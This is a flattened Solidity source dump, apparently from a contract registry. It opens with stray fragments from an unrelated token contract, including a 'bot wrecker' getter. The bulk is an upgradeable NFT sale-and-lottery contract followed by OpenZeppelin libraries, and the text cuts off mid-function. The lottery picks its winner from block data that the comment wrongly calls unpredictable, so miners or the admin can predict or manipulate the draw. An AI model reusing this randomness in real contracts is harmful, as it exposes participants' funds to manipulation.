Whether or not the contract will wreck bots and take their donation */ function isBotWreckerEnabled() external view returns (bool) { return botWrecker; } }
Allow a specific address to spend a specific amount of your tokens/
function approve(address spender, uint256 amount) public override returns (bool) { require(msg.sender != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; }
7,836,365
// contracts/BadassCyborgSanta.sol // SPDX-License-Identifier: None /// @author BadassComet of The Badass Cyborg Santa NFT Collection Team pragma solidity ^0.8.9; import "@openzeppelin/contracts-upgradeable/token/ERC721/presets/ERC721PresetMinterPauserAutoIdUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/CountersUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/cryptography/draft-EIP712Upgradeable.sol"; contract BadassCyborgSanta is ERC721PresetMinterPauserAutoIdUpgradeable, EIP712Upgradeable { uint256 public saleStartTime; uint256 public maxSupply; uint256 public tokenPrice; uint256 public lotteryFee; uint256 public winner; bool public winnerPicked; bytes32 public DOMAIN_SEPARATOR; address payable private treasury; string private _baseTokenURI; string private _contractURI; using CountersUpgradeable for CountersUpgradeable.Counter; CountersUpgradeable.Counter private _tokenIdTracker; event BaseURIChanged(string newBaseURI); event SaleStartUpdated(uint256 startTime, uint256 tokenPrice, uint256 lotteryFee); event ContractUriUpdated(string contractMetaURI); event WinnerPicked(uint256 winner); event PrizeCollected(uint256 amount,address winner); function initialize( string memory name, string memory symbol, string memory baseTokenURI, string memory contractMetaURI, uint256 _maxSupply, address payable _treasury ) public virtual initializer { ERC721PresetMinterPauserAutoIdUpgradeable.initialize(name, symbol, baseTokenURI); EIP712Upgradeable.__EIP712_init(name, '1'); // hardcoded version 1 // contract implements the EIP 712 domain separator DOMAIN_SEPARATOR = _domainSeparatorV4(); maxSupply = _maxSupply; treasury = _treasury; _baseTokenURI = baseTokenURI; _contractURI = contractMetaURI; } /** * @dev Restricted to members of the DEFAULT_ADMIN_ROLE role. */ modifier onlyAdmin() { require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "caller must have the `DEFAULT_ADMIN_ROLE`"); _; } /** * @dev configure stat * - startTime - unix timestamp of sale start moment * - _tokenPrice - minting const * - _lotteryFee - included in minting const * * Requirements: * - the caller must have the `DEFAULT_ADMIN_ROLE`. */ function setSaleStart(uint256 startTime,uint256 _tokenPrice,uint256 _lotteryFee) external onlyAdmin { // persist saleStartTime saleStartTime = startTime; // persist tokenPrice tokenPrice = _tokenPrice; // persist lotteryFee lotteryFee = _lotteryFee; // emit SaleStartUpdated event emit SaleStartUpdated(startTime, _tokenPrice, _lotteryFee); } /** * @dev setContractURI * updated contractURI value * * Requirements: * - the caller must have the `DEFAULT_ADMIN_ROLE`. */ function setContractURI(string calldata contractMetaURI) external onlyAdmin { // persist _contractURI _contractURI = contractMetaURI; // emit ContractUriUpdated event emit ContractUriUpdated(contractMetaURI); } /** * @dev reveal nft's * * Requirements: * - the caller must have the `DEFAULT_ADMIN_ROLE`. */ function revealNFT(string calldata baseTokenURI) external onlyAdmin { // persist new baseTokenURI _baseTokenURI = baseTokenURI; // emit BaseURIChanged event emit BaseURIChanged(baseTokenURI); } /** * @dev preSaleMint * used to mint tokens before tokenSale has started * * Requirements: * - the caller must have the `DEFAULT_ADMIN_ROLE`. * - the caller must pay count * lotteryFee */ function preSaleMint(address to, uint256 count) external payable onlyAdmin { // lotteryFee must be set via function setSaleStart(startTime,_tokenPrice,_lotteryFee) require(lotteryFee > 0, "lotteryFee not configured"); // Gas optimization uint256 _currentTokenId = _tokenIdTracker.current(); // check if max supply will not exceed require(_currentTokenId + count <= maxSupply, "max supply exceeded"); // preSale tokens must also pay lotteryFee to keep the lottery fair require(msg.value >= count * lotteryFee, "incorrect lotteryFee"); // mint tokens for to address for (uint256 ind = 0; ind < count; ind++) { _safeMint(to, _currentTokenId + ind); _tokenIdTracker.increment(); } } /** * @dev pickWinner * called once to pick winner * * Requirements: * - the caller must have the `DEFAULT_ADMIN_ROLE`. */ function pickWinner() external onlyAdmin { // prevent winner from being picked twice require(!winnerPicked, "Winning nft already picked"); // pick a random winning number uint256 winningNumber = random() % _tokenIdTracker.current(); // persist winning number winner = winningNumber; // set winnerPicked = true so it can only be picked once winnerPicked = true; // emit WinnerPicked event emit WinnerPicked(winningNumber); } /** * @dev random * generates an unpridictable random number wich will be used to pick a winner * * Requirements: * - the caller must have the `DEFAULT_ADMIN_ROLE`. */ function random() private view returns(uint){ return uint(keccak256(abi.encode(block.difficulty, block.number, _tokenIdTracker.current()))); } /** * @dev mintToken * used to mint tokens during tokenSale * * Requirements: * - the caller must pay tokenPrice */ function mintToken() external payable { // Make sure sale has been set up require(saleStartTime > 0, "sale not configured"); // check if sale startTime has passed require(block.timestamp >= saleStartTime, "sale not started"); // Gas optimization uint256 _currentTokenId = _tokenIdTracker.current(); // check if max supply will not exceed require(_currentTokenId + 1 <= maxSupply, "max supply exceeded"); // check if minters fee is enough require(msg.value >= tokenPrice, "incorrect Ether value"); // Subtract - leave lotteryFee behind and redirected the rest to treasury. treasury.transfer(msg.value - lotteryFee); // mint token for msg.sender _mint(msg.sender, _currentTokenId); // increase token counter _tokenIdTracker.increment(); } /** * @dev collectPrize, * called by user holding winning nft * * Requirements: * - the caller must be ownerOf(winner). */ function collectPrize() external { // require a winner already picked require(winnerPicked, "Winner not picked yet"); // the caller must be ownerOf(winner) require(msg.sender == ERC721Upgradeable.ownerOf(winner), "must be owner of winning nft"); // contract must hold balance to extract require(address(this).balance > 0, "No balance left to withdraw"); // wrap winners address as payable so we can use the tranfer function on it address payable winnerAddress = payable(msg.sender); // Gas optimization uint256 prize = address(this).balance; // transfer the full balance to the single winner winnerAddress.transfer(prize); // emit PrizeCollected event emit PrizeCollected(prize, msg.sender); } /** * @dev returns uri where contract parameters can be found */ function contractURI() public view virtual returns (string memory) { return _contractURI; } /** * @dev returns _baseURI used to build tokenUri */ function _baseURI() internal view virtual override(ERC721PresetMinterPauserAutoIdUpgradeable) returns (string memory) { return _baseTokenURI; } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override(ERC721PresetMinterPauserAutoIdUpgradeable) { super._beforeTokenTransfer(from, to, tokenId); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721PresetMinterPauserAutoIdUpgradeable) returns (bool) { return super.supportsInterface(interfaceId); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSetUpgradeable { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal initializer { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal initializer { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ECDSAUpgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding * they need in their contracts using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. * * _Available since v3.4._ */ abstract contract EIP712Upgradeable is Initializable { /* solhint-disable var-name-mixedcase */ bytes32 private _HASHED_NAME; bytes32 private _HASHED_VERSION; bytes32 private constant _TYPE_HASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"); /* solhint-enable var-name-mixedcase */ /** * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. */ function __EIP712_init(string memory name, string memory version) internal initializer { __EIP712_init_unchained(name, version); } function __EIP712_init_unchained(string memory name, string memory version) internal initializer { bytes32 hashedName = keccak256(bytes(name)); bytes32 hashedVersion = keccak256(bytes(version)); _HASHED_NAME = hashedName; _HASHED_VERSION = hashedVersion; } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view returns (bytes32) { return _buildDomainSeparator(_TYPE_HASH, _EIP712NameHash(), _EIP712VersionHash()); } function _buildDomainSeparator( bytes32 typeHash, bytes32 nameHash, bytes32 versionHash ) private view returns (bytes32) { return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this))); } /** * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for this domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` */ function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return ECDSAUpgradeable.toTypedDataHash(_domainSeparatorV4(), structHash); } /** * @dev The hash of the name parameter for the EIP712 domain. * * NOTE: This function reads from storage by default, but can be redefined to return a constant value if gas costs * are a concern. */ function _EIP712NameHash() internal virtual view returns (bytes32) { return _HASHED_NAME; } /** * @dev The hash of the version parameter for the EIP712 domain. * * NOTE: This function reads from storage by default, but can be redefined to return a constant value if gas costs * are a concern. */ function _EIP712VersionHash() internal virtual view returns (bytes32) { return _HASHED_VERSION; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSAUpgradeable { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library CountersUpgradeable { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 